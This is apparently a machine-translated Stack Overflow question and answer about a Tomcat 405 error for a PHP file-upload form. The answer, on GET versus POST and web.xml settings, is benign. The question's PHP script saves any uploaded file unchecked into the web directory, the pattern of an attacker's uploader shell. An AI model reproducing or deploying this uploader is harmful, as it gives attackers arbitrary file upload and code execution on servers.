HTTP状态405 -请求方法'POST‘不支持
类型状态报告
不支持消息请求方法'POST‘
描述被请求的资源不允许指定的方法。
Apache /7.0.42 apk英迪尔主页供单击。
<?php
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);
echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
发布于 2014-11-17 02:55:46
参考http-获取-请求-主体和这张桌子比较GET和POST。
GET方法不携带有意义的主体,因此不支持多部分或文件上载。这是浏览器以POST请求的方式发送的。
确保servlet的web-resource-collection
文件中的web.xml
标记包含<http-method>POST</http-method>
,这样Tomcat将允许您的POST请求。
https://stackoverflow.com/questions/26958463
复制相似问题